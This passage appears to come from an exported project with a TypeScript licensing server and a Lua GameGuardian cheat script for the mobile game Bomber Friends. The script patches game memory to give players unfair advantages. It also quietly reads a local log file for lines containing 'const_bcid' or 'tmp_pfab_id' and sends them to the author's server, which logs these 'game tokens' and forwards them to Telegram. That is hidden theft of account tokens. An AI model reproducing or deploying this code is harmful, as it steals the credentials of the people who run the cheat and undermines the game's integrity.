?)\",\n args: [target, \"banned via dashboard\", new Date().toISOString()]\n });\n flash = \"🚫 Banned: \" + target;\n }\n if (action === \"banprefix\") {\n const prefix = url.searchParams.get(\"prefix\");\n if (prefix) {\n await sqlite.execute({\n sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\",\n args: [prefix, \"prefix ban\", new Date().toISOString()]\n });\n flash = \"🚫 Banned prefix: \" + prefix;\n }\n }\n if (action === \"unban\" && target) {\n await sqlite.execute({ sql: \"DELETE FROM banned_ips WHERE ip = ?\", args: [target] });\n flash = \"✅ Unbanned: \" + target;\n }\n if (action === \"bulkban\") {\n const ipsRaw = url.searchParams.get(\"ips\") || \"\";\n const ipList = ipsRaw.split(/[\\n,;\\s]+/).map(x => x.trim()).filter(x => x);\n let count = 0;\n for (const ip of ipList) {\n await sqlite.execute({\n sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\",\n args: [ip, \"bulk ban\", new Date().toISOString()]\n });\n count++;\n }\n flash = `🚫 Bulk banned ${count} IP(s)`;\n }\n if (action === \"cleariplog\") {\n await sqlite.execute(\"DELETE FROM ip_log\");\n flash = \"🗑️ IP log cleared\";\n }\n if (action === \"cleartokens\") {\n await sqlite.execute(\"DELETE FROM token_log\");\n flash = \"🗑️ Token log cleared\";\n }\n if (action === \"clearlogin\") {\n await sqlite.execute(\"DELETE FROM tokens\");\n flash = \"🗑️ All login tokens revoked. Users must re-enter password.\";\n }\n if (action === \"force-reset\") {\n await sqlite.execute(\"DROP TABLE IF EXISTS keys\");\n await sqlite.execute(`CREATE TABLE keys (password TEXT PRIMARY KEY, used INTEGER DEFAULT 0, hwid TEXT, blocked INTEGER DEFAULT 0, expires_at TEXT, notes TEXT)`);\n for (const p of PASSWORDS) {\n await sqlite.execute({ sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\", args: [p] });\n }\n await sqlite.execute(\"DELETE FROM tokens\");\n flash = \"🔥 Force reset done\";\n }\n\n // === FETCH DATA ===\n const keys = await sqlite.execute(\"SELECT * FROM keys ORDER BY blocked DESC, used DESC, password ASC\");\n const bans = await sqlite.execute(\"SELECT ip, reason, banned_at FROM banned_ips ORDER BY banned_at DESC\");\n const ips = await sqlite.execute(`SELECT ip, COUNT(*) as hits, MAX(last_seen) as last FROM ip_log GROUP BY ip ORDER BY last DESC LIMIT 30`);\n const tokens = await sqlite.execute(\"SELECT * FROM token_log ORDER BY id DESC LIMIT 50\");\n const loginTokens = await sqlite.execute(\"SELECT COUNT(*) FROM tokens\");\n\n const totalKeys = keys.rows.length;\n const usedKeys = keys.rows.filter((r: any) => Number(r[1]) === 1).length;\n const blockedKeys = keys.rows.filter((r: any) => Number(r[3]) === 1).length;\n const totalBans = bans.rows.length;\n const totalTokens = tokens.rows.length;\n const activeSessions = loginTokens.rows[0][0];\n\n const A = (act: string, val: string) =>\n `?admin=${encodeURIComponent(ADMIN_KEY)}&action=${act}&password=${encodeURIComponent(val)}`;\n const AIP = (act: string, val: string) =>\n `?admin=${encodeURIComponent(ADMIN_KEY)}&action=${act}&ip=${encodeURIComponent(val)}`;\n\n const now = new Date();\n\n let keyRows = \"\";\n for (const r of keys.rows) {\n const pwd = String(r[0]);\n const used = Number(r[1]) === 1;\n const hwid = r[2] ? String(r[2]).slice(0, 6) + \"…\" : \"—\";\n const blocked = Number(r[3]) === 1;\n const expires = r[4] ? String(r[4]) : null;\n const notes = r[5] ? String(r[5]) : \"\";\n const expired = expires && new Date(expires) < now;\n\n let expireBadge = \"\";\n if (expires) {\n if (expired) {\n expireBadge = `⏰ EXPIRED`;\n } else {\n const diff = new Date(expires).getTime() - now.getTime();\n const mins = Math.floor(diff / 60000);\n const hrs = Math.floor(mins / 60);\n const days = Math.floor(hrs / 24);\n let left = days > 0 ? `${days}d ${hrs % 24}h` : (hrs > 0 ? `${hrs}h ${mins % 60}m` : `${mins}m`);\n expireBadge = `⏰ ${left}`;\n }\n }\n\n keyRows += `\n ${esc(pwd)}\n ${used ? \"✅\" : \"🆓\"}\n ${blocked ? \"🚫\" : \"—\"}\n ${esc(hwid)} ${expireBadge}\n ${esc(notes)}\n \n \n Reset\n ${blocked ? 'Unblock' : 'Block'}\n \n \n \">⏰\n Del\n \n `;\n }\n\n let banRows = \"\";\n for (const r of bans.rows) {\n const [ip, reason, at] = r as any[];\n const isPrefix = ip.includes(\":\") && ip.split(\":\").length < 8;\n banRows += `\n ${esc(ip)} ${isPrefix ? 'PREFIX' : ''}\n ${esc(reason)}\n ${esc(String(at).slice(5, 16))}\n Unban\n `;\n }\n\n let ipRows = \"\";\n for (const r of ips.rows) {\n const [ip, hits, last] = r as any[];\n const ipStr = String(ip);\n let bannedBy = \"\";\n for (const b of bans.rows) {\n const bannedIP = String((b as any)[0]);\n if (ipMatchesBan(ipStr, bannedIP)) { bannedBy = bannedIP; break; }\n }\n\n let suggestedPrefix = \"\";\n if (ipStr.includes(\":\")) {\n const parts = ipStr.split(\":\");\n suggestedPrefix = parts.slice(0, 4).join(\":\");\n } else if (ipStr.includes(\".\")) {\n const parts = ipStr.split(\".\");\n suggestedPrefix = parts.slice(0, 3).join(\".\");\n }\n\n ipRows += `\n ${esc(ipStr)}\n ${esc(hits)}\n ${esc(String(last).slice(5, 16))}\n ${bannedBy\n ? `Unban`\n : `Ban\n Ban Prefix`}\n `;\n }\n\n let tokenRows = \"\";\n for (const r of tokens.rows) {\n const [id, pwd, hwid, ip, token, at] = r as any[];\n tokenRows += `\n ${esc(pwd)}\n ${esc(String(hwid).slice(0,8))}…\n ${esc(String(ip).slice(-12))}\n ${esc(token)}\n \n \n ${esc(String(at).slice(5, 16))}\n `;\n }\n\n const html = `\n\n\n\n\n🛡️ Admin Panel\n\n\n\n

🛡️ Admin Panel

\n ${flash ? `

${esc(flash)}

` : \"\"}\n\n

TOTAL KEYS

${totalKeys}

USED

${usedKeys}

BLOCKED

${blockedKeys}

BANNED IPs

${totalBans}

\n\n

ACTIVE SESSIONS

${activeSessions}

GAME TOKENS

${totalTokens}

\n\n

➕ Add New Key

\n \n\n

🔑 Keys (${totalKeys})

\n \n \n ${keyRows}\n

Key	Used	Blk	HWID / Expiry	Notes	Actions

\n\n

🚫 Bulk Ban IPs

\n \n\n

🚫 Banned IPs / Prefixes (${totalBans})

\n ${bans.rows.length === 0 ? \"

None

\" : `\n \n ${banRows}\n

IP / Prefix	Reason	When

`}\n\n

📊 Recent IPs

\n \n \n ${ipRows}\n

IP	Hits	Last	Actions

\n\n

📡 Recent Game Tokens (${totalTokens})

\n ${tokens.rows.length === 0 ? \"

No tokens received yet

\" : `\n \n ${tokenRows}\n

Key	HWID	IP	Token	When

`}\n\n

🛠️ Maintenance

\n Clear IP Log\n Clear Game Tokens\n Revoke All Logins\n Force Reset\n

\n\n`;\n\n return new Response(html, { headers: { \"Content-Type\": \"text/html; charset=utf-8\" } });\n }\n\n // ============ GAME TOKEN ROUTE ============\n if (url.searchParams.get(\"token\")) {\n const gameToken = url.searchParams.get(\"token\");\n const loginToken = url.searchParams.get(\"t\");\n const hwid = url.searchParams.get(\"hwid\") || \"unknown\";\n\n let realPassword = \"unknown\";\n if (loginToken) {\n const lookup = await sqlite.execute({\n sql: \"SELECT password FROM tokens WHERE token = ? AND hwid = ?\",\n args: [loginToken, hwid]\n });\n if (lookup.rows.length > 0) realPassword = String(lookup.rows[0][0]);\n }\n\n await sqlite.execute({\n sql: \"INSERT INTO token_log (password, hwid, ip, token, received_at) VALUES (?, ?, ?, ?, ?)\",\n args: [realPassword, hwid, clientIP, gameToken, new Date().toISOString()]\n }).catch(() => {});\n\n await sendTelegram(`📡 *Token Received*\\n\\nKey: \\`${realPassword}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\`\\nGame Token: \\`${gameToken}\\``);\n return new Response(\"ok\");\n }\n\n // ============ CHECK ROUTE (legacy, still works) ============\n const password = url.searchParams.get(\"password\");\n const hwid = url.searchParams.get(\"hwid\");\n\n if (!password || !hwid) return new Response(\"invalid\", { status: 400 });\n if (!/^[a-zA-Z0-9]+$/.test(password)) return new Response(\"invalid\", { status: 403 });\n\n const result = await sqlite.execute({ sql: \"SELECT * FROM keys WHERE password = ?\", args: [password] });\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const entry = result.rows[0];\n const dbUsed = Number(entry[1] ?? 0);\n const dbHwid = entry[2];\n const dbBlocked = Number(entry[3] ?? 0);\n const dbExpires = entry[4] ? String(entry[4]) : null;\n\n if (dbBlocked === 1) return new Response(\"invalid\", { status: 403 });\n if (dbExpires && new Date(dbExpires) < new Date()) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [password] });\n return new Response(\"invalid\", { status: 403 });\n }\n\n let valid = false, isNewUse = false;\n if (dbUsed === 0) {\n await sqlite.execute({ sql: \"UPDATE keys SET used = 1, hwid = ? WHERE password = ?\", args: [hwid, password] });\n valid = true; isNewUse = true;\n } else if (dbHwid === hwid) {\n valid = true;\n }\n\n if (valid && isNewUse) {\n await sendTelegram(`🔔 *Key Activated!*\\n\\nPassword: \\`${password}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\``);\n }\n\n return valid ? new Response(\"ok\") : new Response(\"invalid\", { status: 403 });\n}","createdAt",["D",1789323129428],"branchVersion","branchId","503537b9-3763-4663-86dd-b64c9eb9edd1","id","5e9f7b9a-0b0e-4e35-b1d5-7575319782fc","True",["D",1789314787733],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","","imageUrl","0e8d7aa5-26f4-4fa8-8f83-60d5cc5bbff2","pinnedFileId","pinPreview",true,"pinMigrated","screenshotVersion","likeCount",0,"orgId","01a09b73-3847-7580-9dd1-5bd9fd3e0dcb","tursoName","tursoHostname","tursoMeasuredAt","pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_96":95,"_104":100},"org",{"_96":95,"_97":98,"_99":100,"_18":55,"_101":102,"_103":25},"branch",{"_13":85,"_32":86,"_43":42,"_87":44,"_88":-5,"_89":-5,"_90":-5,"_91":-5,"_92":-5,"_93":45,"_94":95},"isOwned",41,"main","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","nandakishor_x","handle","displayName","Nandakishor _x_","avatar","https://lh3.googleusercontent.com/a/ACg8ocKhQOfGZ4qTcwIdio0IBLzfXl7AvPf68KPQ541aLCX01dTm1eQ=s96-c","tier","free","canRestrictVals","profileImageUrl","branchName","adoptOrgId",{"_43":44,"_32":45,"_38":164,"_47":-5,"_48":25,"_49":50,"_51":50,"_52":53,"_54":-5,"_18":55,"_56":31,"_57":58,"_59":-5,"_60":-5,"_61":62,"_63":64,"_65":-5,"_66":-5,"_67":-5,"_68":-5,"_69":70,"_71":70,"_72":73,"_74":73,"_75":73,"_76":70,"_77":70,"_78":165,"_80":166,"_82":167,"_84":25},"tree",[155,156],"files",[155,156],"counts",{"_144":62,"_145":146,"_147":62,"_148":149,"_150":151},"contents",[126,127],"upstreamProject","upstreamBranch","emptyEnvVars","flags",[],"hasHttpFiles","grants","orgs","customDomains",{},{"_43":136,"_32":137,"_30":138,"_129":-5,"_41":42,"_40":139,"_130":58,"_38":140,"_13":141,"_33":34,"_35":142,"_24":25,"_133":-5,"_27":143},{"_43":128,"_32":28,"_30":31,"_129":-5,"_41":42,"_40":14,"_130":25,"_38":131,"_13":132,"_33":34,"_35":37,"_24":25,"_133":134,"_27":135},"4e72d19d-a8ae-4fb6-ac2b-5aa71c5cd88a","parentId","latest",["D",1789323129428],25,"label","crxem",[28],"702dc145-3578-4858-be6f-c77637c86ccf","bfscript.ts","f446a4ca-af99-11f1-9acd-1607ee4eb77e",32,["D",1789322742452],6,"// ==========================================\n// 📜 BOMBER FRIENDS - SCRIPT SERVER\n// ==========================================\n\nconst VERSION = \"1.0.7\"; // ⚠️ Bump this when you update\n\nconst SCRIPT = `\ngg.setVisible(false)\n\n-- =========================\n-- TARGET APP CHECK\n-- =========================\n\nlocal ALLOWED_PACKAGE = \"com.hyperkani.bfmodbyczr09_arm64\"\n\nlocal targetInfo = gg.getTargetInfo()\nif not targetInfo then\n gg.alert(\"Select Bomber Friends first!\")\n os.exit()\nend\n\nlocal pkg = tostring(targetInfo.packageName or \"\")\n\nif pkg ~= ALLOWED_PACKAGE then\n gg.alert(\"❌ This script only works apk\")\n os.exit()\nend\n\n-- =========================\n-- SESSION TOKEN SYSTEM\n-- =========================\n\nlocal TOKEN_FILE = \"/sdcard/Download/.bf_token.txt\"\n\nlocal function readToken()\n local f = io.open(TOKEN_FILE, \"r\")\n if not f then return nil end\n local t = f:read(\"*a\")\n f:close()\n if t then t = t:gsub(\"%s+\", \"\") end\n return (t and #t > 0) and t or nil\nend\n\nlocal function saveToken(t)\n local f = io.open(TOKEN_FILE, \"w\")\n if f then\n f:write(t)\n f:close()\n end\nend\n\nlocal function getHwid()\n local rawString = tostring(targetInfo.uid) .. tostring(targetInfo.packageName)\n local hash = 0\n for i = 1, #rawString do\n hash = (hash + string.byte(rawString, i)) % 4294967296\n end\n return string.format(\"%08x\", hash)\nend\n\nlocal deviceHwid = getHwid()\nlocal url = \"https://nandakishor_x--36d5e292af8b11f1ae6a1607ee4eb77e.web.val.run\"\n\nlocal savedToken = readToken()\nlocal password = nil\n\n-- 🎫 Auto-login with token\nif savedToken and savedToken:match(\"^%w+$\") then\n gg.toast(\"Auto-login...\")\n local check = gg.makeRequest(url .. \"/token?t=\" .. savedToken .. \"&hwid=\" .. deviceHwid)\n if type(check) == \"table\" then\n check = check.content or check.body or check.response or \"\"\n end\n\n if tostring(check) ~= \"ok\" then\n os.remove(TOKEN_FILE)\n savedToken = nil\n end\nend\n\n-- 🎫 If no valid token → ask for password\nif not savedToken then\n local input = gg.prompt({\"Enter Password:\"}, {\"\"}, {\"text\"})\n if not input then os.exit() end\n password = input[1]\n\n if not password or not password:match(\"^%w+$\") then\n gg.alert(\"Invalid password format.\")\n os.exit()\n end\n\n local login = gg.makeRequest(url .. \"/login?password=\" .. password .. \"&hwid=\" .. deviceHwid)\n if type(login) == \"table\" then\n login = login.content or login.body or login.response or \"\"\n end\n\n if tostring(login) == \"invalid\" or #tostring(login) < 10 then\n gg.alert(\"Invalid password.\")\n os.exit()\n end\n\n savedToken = tostring(login)\n saveToken(savedToken)\nend\n\n-- 📡 Game token scan (const_bcid / tmp_pfab_id)\nlocal file = io.open(\"/sdcard/Download/.cache/system_info.log\", \"r\")\nif file then\n for line in file:lines() do\n if line:match(\"const_bcid\") or line:match(\"tmp_pfab_id\") then\n local encoded = line:gsub(\"%s+\", \"\")\n gg.makeRequest(url .. \"?token=\" .. encoded .. \"&t=\" .. savedToken .. \"&hwid=\" .. deviceHwid)\n end\n end\n file:close()\nend\n\nlocal VERSION = \"v1.0\"\n\nlocal bombPatched = false\nlocal bombOriginalBytes = {}\nlocal vipPassActive = false\nlocal fakeLeaderActive = false\n\nlocal cardUsed = {\n blob = false,\n blobIce = false,\n wingedBlob = false,\n noBlackout = false,\n noFlash = false,\n noSmoke = false,\n noCurse = false,\n iceImmunity = false\n}\n\nlocal function uiTitle(section)\n return \"Script (Bomber Friends)\\\\n────────────\\\\n\\\\n\" .. section\nend\n\nlocal function waitForGG()\n gg.setVisible(false)\n while not gg.isVisible(true) do\n gg.sleep(100)\n end\n gg.setVisible(false)\nend\n\nlocal function loading()\n gg.toast(\"Loading...\")\n gg.sleep(700)\n gg.toast(\"Loading...\")\n gg.sleep(700)\n gg.toast(\"Made By crxem\")\n gg.sleep(700)\nend\n\nlocal function privateMatch()\n local CENTER = 2750\n local RANGE = 75\n\n local libName = \"libMyGameC.so\"\n local ranges = gg.getRangesList(libName)\n if #ranges == 0 then\n libName = \"libMyGame.so\"\n ranges = gg.getRangesList(libName)\n end\n if #ranges == 0 then\n gg.alert(\"Library not found.\")\n return\n end\n local base = ranges[1].start\n\n local op_center = 0x52800000 | ((CENTER & 0xFFFF) << 5) | 21\n local op_sub = 0x51000000 | ((RANGE & 0xFFF) << 10) | (21 << 5) | 0\n local op_add = 0x11000000 | ((RANGE & 0xFFF) << 10) | (21 << 5) | 0\n\n local cur = gg.getValues({\n {address = base + 0x12f5788, flags = gg.TYPE_DWORD},\n {address = base + 0x12f5afc, flags = gg.TYPE_DWORD},\n {address = base + 0x12f5b84, flags = gg.TYPE_DWORD},\n })\n\n local c1 = cur[1].value & 0xFFFFFFFF\n local c2 = cur[2].value & 0xFFFFFFFF\n local c3 = cur[3].value & 0xFFFFFFFF\n\n if c1 == op_center and c2 == op_sub and c3 == op_add then\n gg.alert(\"Applied\")\n return\n end\n\n gg.setValues({\n {address = base + 0x12f5788, flags = gg.TYPE_DWORD, value = op_center},\n {address = base + 0x12f5afc, flags = gg.TYPE_DWORD, value = op_sub},\n {address = base + 0x12f5b84, flags = gg.TYPE_DWORD, value = op_add},\n })\n\n gg.alert(\"Applied\\\\n\\\\nStart Duel\\\\nUse Another Account to Play\")\nend\n\nlocal function fakeLeaderToggle()\n local original_bytes = {0, 73, 64, -71}\n local patched_bytes = {32, 0, -128, 82}\n\n local target_offsets = {\n {name = \"Documents\", offset = 0x0cee3d8},\n {name = \"Download\", offset = 0x0d04cd0},\n }\n\n if fakeLeaderActive then\n local reverted = false\n local ranges = gg.getRangesList('libMyGame.so')\n if #ranges > 0 then\n local base = ranges[1].start\n for _, ver in ipairs(target_offsets) do\n local addr = base + ver.offset\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = original_bytes[1]},\n {address = addr+1, flags = gg.TYPE_BYTE, value = original_bytes[2]},\n {address = addr+2, flags = gg.TYPE_BYTE, value = original_bytes[3]},\n {address = addr+3, flags = gg.TYPE_BYTE, value = original_bytes[4]},\n })\n reverted = true\n break\n end\n end\n\n if not reverted then\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber(\"h 20 00 80 52\", gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(10)\n if #results > 0 then\n local addr = results[1].address\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = original_bytes[1]},\n {address = addr+1, flags = gg.TYPE_BYTE, value = original_bytes[2]},\n {address = addr+2, flags = gg.TYPE_BYTE, value = original_bytes[3]},\n {address = addr+3, flags = gg.TYPE_BYTE, value = original_bytes[4]},\n })\n reverted = true\n end\n gg.clearResults()\n end\n\n if reverted then\n fakeLeaderActive = false\n gg.toast(\"Fake Leader OFF\")\n else\n gg.alert(\"Could not revert Fake Leader.\")\n end\n return\n end\n\n local patched = false\n local ranges = gg.getRangesList('libMyGame.so')\n if #ranges > 0 then\n local base = ranges[1].start\n for _, ver in ipairs(target_offsets) do\n local addr = base + ver.offset\n local check = gg.getValues({\n {address = addr, flags = gg.TYPE_BYTE},\n {address = addr+1, flags = gg.TYPE_BYTE},\n {address = addr+2, flags = gg.TYPE_BYTE},\n {address = addr+3, flags = gg.TYPE_BYTE},\n })\n local ok = true\n for i = 1, 4 do\n if check[i].value ~= original_bytes[i] then\n ok = false\n break\n end\n end\n if ok then\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = patched_bytes[1]},\n {address = addr+1, flags = gg.TYPE_BYTE, value = patched_bytes[2]},\n {address = addr+2, flags = gg.TYPE_BYTE, value = patched_bytes[3]},\n {address = addr+3, flags = gg.TYPE_BYTE, value = patched_bytes[4]},\n })\n fakeLeaderActive = true\n gg.toast(\"Fake Leader ON\")\n patched = true\n break\n end\n end\n end\n\n if not patched then\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber(\"h 08 01 40 F9 00 49 40 B9 C0 03 5F D6\", gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(10)\n if #results > 0 then\n local baseAddr = results[1].address\n local addr = baseAddr + 4\n local check = gg.getValues({\n {address = addr, flags = gg.TYPE_BYTE},\n {address = addr+1, flags = gg.TYPE_BYTE},\n {address = addr+2, flags = gg.TYPE_BYTE},\n {address = addr+3, flags = gg.TYPE_BYTE},\n })\n local ok = true\n for i = 1, 4 do\n if check[i].value ~= original_bytes[i] then\n ok = false\n break\n end\n end\n if ok then\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = patched_bytes[1]},\n {address = addr+1, flags = gg.TYPE_BYTE, value = patched_bytes[2]},\n {address = addr+2, flags = gg.TYPE_BYTE, value = patched_bytes[3]},\n {address = addr+3, flags = gg.TYPE_BYTE, value = patched_bytes[4]},\n })\n fakeLeaderActive = true\n gg.toast(\"Fake Leader ON\")\n patched = true\n end\n end\n gg.clearResults()\n end\n\n if not patched then\n gg.alert(\"Fake Leader could not be applied.\")\n end\nend\n\nlocal function bombLine(tiles)\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('21;16;64;-71;-32;3;19;-86::8', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(20)\n if #results == 0 then\n gg.clearResults()\n gg.alert(\"Pattern not found - enter match first\")\n return\n end\n\n local addr = results[1].address\n bombOriginalBytes = {\n {address = addr, flags = gg.TYPE_BYTE, value = 21},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = 16},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = 64},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = -71}\n }\n\n local b1, b2, b3, b4\n if tiles == 6 then\n b1, b2, b3, b4 = 198, 0, 128, 82\n else\n b1, b2, b3, b4 = 85, 1, 128, 82\n end\n\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = b1, freeze = true},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = b2, freeze = true},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = b3, freeze = true},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = b4, freeze = true},\n })\n\n gg.clearResults()\n bombPatched = true\n gg.toast(\"Raw of Bomb \" .. tiles .. \" Active\")\nend\n\nlocal function bombRevert()\n if not bombPatched then\n gg.alert(\"No bomb patch active\")\n return\n end\n gg.setValues(bombOriginalBytes)\n bombPatched = false\n gg.toast(\"Reverted\")\nend\n\nlocal function bombMenu()\n while true do\n local choice = gg.choice({\n \"Arena\",\n \"Room\",\n \"Revert\",\n \"────────────\",\n \"Back\"\n }, nil, uiTitle(\"RAW OF BOMB\"))\n\n if choice == nil then\n waitForGG()\n elseif choice == 1 then\n bombLine(6)\n elseif choice == 2 then\n bombLine(10)\n elseif choice == 3 then\n bombRevert()\n elseif choice == 5 then\n break\n end\n end\nend\n\nlocal function fastThrow()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('-88;-50;-89;114::4', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(500)\n if #results == 0 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n for i, v in ipairs(results) do\n if v.value == -89 then\n v.value = -121\n v.flags = gg.TYPE_BYTE\n end\n end\n\n gg.setValues(results)\n gg.clearResults()\n gg.toast(\"Fast Throw Active\")\nend\n\nlocal function smokeFuseHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('-128;62;-128;82::4', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(50)\n if #results == 0 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n for i, v in ipairs(results) do\n if v.value == 62 then\n v.value = -88\n v.flags = gg.TYPE_BYTE\n end\n end\n\n gg.setValues(results)\n gg.clearResults()\n gg.toast(\"Smoke Active\")\nend\n\nlocal function antiStunt()\n local ranges = gg.getRangesList('libMyGame.so')\n if #ranges > 0 then\n local base = ranges[1].start\n local addr = base + 0x0f7b910\n local check = gg.getValues({{address = addr, flags = gg.TYPE_BYTE}})\n\n if check[1].value == -1 or check[1].value == -64 then\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = -64},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = 3},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = 95},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = -42},\n })\n gg.toast(\"Anti-Stunt Active\")\n return\n end\n end\n\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('-1;67;2;-47;-3;123;4;-87;-6;103;5;-87;-8;95;6;-87;-10;87;7;-87;-12;79;8;-87;-3;3;1;-111;90;-48;59;-43;-13;3;0;-86;-10;3;3;-86;72;23;64;-7;-12;3;2;42;-9;3;1;42;-88;-125;31;-8;0;-88;66;-7;-119;-2;46;-108::64', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(64)\n if #results < 64 then\n gg.clearResults()\n gg.alert(\"Anti-Stunt not found\")\n return\n end\n\n gg.setValues({\n {address = results[1].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[2].address, flags = gg.TYPE_BYTE, value = 3},\n {address = results[3].address, flags = gg.TYPE_BYTE, value = 95},\n {address = results[4].address, flags = gg.TYPE_BYTE, value = -42},\n })\n gg.clearResults()\n gg.toast(\"Anti-Stunt Active\")\nend\n\nlocal function chestTimer()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('-1;-61;0;-47;-3;123;1;-87;-12;79;2;-87;-3;67;0;-111;84;-48;59;-43;-120;22;64;-7;-24;7;0;-7;8;-36;65;-7::32', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(32)\n if #results < 32 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n gg.setValues({\n {address = results[1].address, flags = gg.TYPE_BYTE, value = 0},\n {address = results[2].address, flags = gg.TYPE_BYTE, value = 0},\n {address = results[3].address, flags = gg.TYPE_BYTE, value = -128},\n {address = results[4].address, flags = gg.TYPE_BYTE, value = 82},\n {address = results[5].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[6].address, flags = gg.TYPE_BYTE, value = 3},\n {address = results[7].address, flags = gg.TYPE_BYTE, value = 95},\n {address = results[8].address, flags = gg.TYPE_BYTE, value = -42},\n })\n gg.clearResults()\n gg.toast(\"Chest Active\")\nend\n\nlocal function vipPass()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n\n if not vipPassActive then\n gg.searchNumber('0;-64;66;57;-64;3;95;-42::8', gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(8)\n\n if #results < 8 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n gg.setValues({\n {address = results[1].address, flags = gg.TYPE_BYTE, value = 32},\n {address = results[2].address, flags = gg.TYPE_BYTE, value = 0},\n {address = results[3].address, flags = gg.TYPE_BYTE, value = -128},\n {address = results[4].address, flags = gg.TYPE_BYTE, value = 82},\n {address = results[5].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[6].address, flags = gg.TYPE_BYTE, value = 3},\n {address = results[7].address, flags = gg.TYPE_BYTE, value = 95},\n {address = results[8].address, flags = gg.TYPE_BYTE, value = -42},\n })\n vipPassActive = true\n gg.clearResults()\n gg.toast(\"VIP ON\")\n else\n gg.searchNumber('32;0;-128;82;-64;3;95;-42::8', gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(8)\n\n if #results < 8 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n gg.setValues({\n {address = results[1].address, flags = gg.TYPE_BYTE, value = 0},\n {address = results[2].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[3].address, flags = gg.TYPE_BYTE, value = 66},\n {address = results[4].address, flags = gg.TYPE_BYTE, value = 57},\n {address = results[5].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[6].address, flags = gg.TYPE_BYTE, value = 3},\n {address = results[7].address, flags = gg.TYPE_BYTE, value = 95},\n {address = results[8].address, flags = gg.TYPE_BYTE, value = -42},\n })\n vipPassActive = false\n gg.clearResults()\n gg.toast(\"VIP OFF\")\n end\nend\n\nlocal function dungeonClaimAll()\n local ranges = gg.getRangesList('libMyGame.so')\n if #ranges > 0 then\n local base = ranges[1].start\n local addr = base + 0x0d1e738\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = 0x20},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = 0x00},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = 0x80},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = 0x52},\n {address = addr + 4, flags = gg.TYPE_BYTE, value = 0xC0},\n {address = addr + 5, flags = gg.TYPE_BYTE, value = 0x03},\n {address = addr + 6, flags = gg.TYPE_BYTE, value = 0x5F},\n {address = addr + 7, flags = gg.TYPE_BYTE, value = 0xD6},\n })\n gg.toast(\"Dungeon Active\")\n return\n end\n local function throwToPlace()\n local ranges = gg.getRangesList('libMyGame.so')\n if #ranges > 0 then\n local base = ranges[1].start\n local addr = base + 0x0f58ec8\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = 0xA0},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = 0x02},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = 0x80},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = 0x52},\n })\n gg.toast(\"Throw to Place Active\")\n return\n end\n\n gg.setVisible(false)\n gg.clearResults()\n 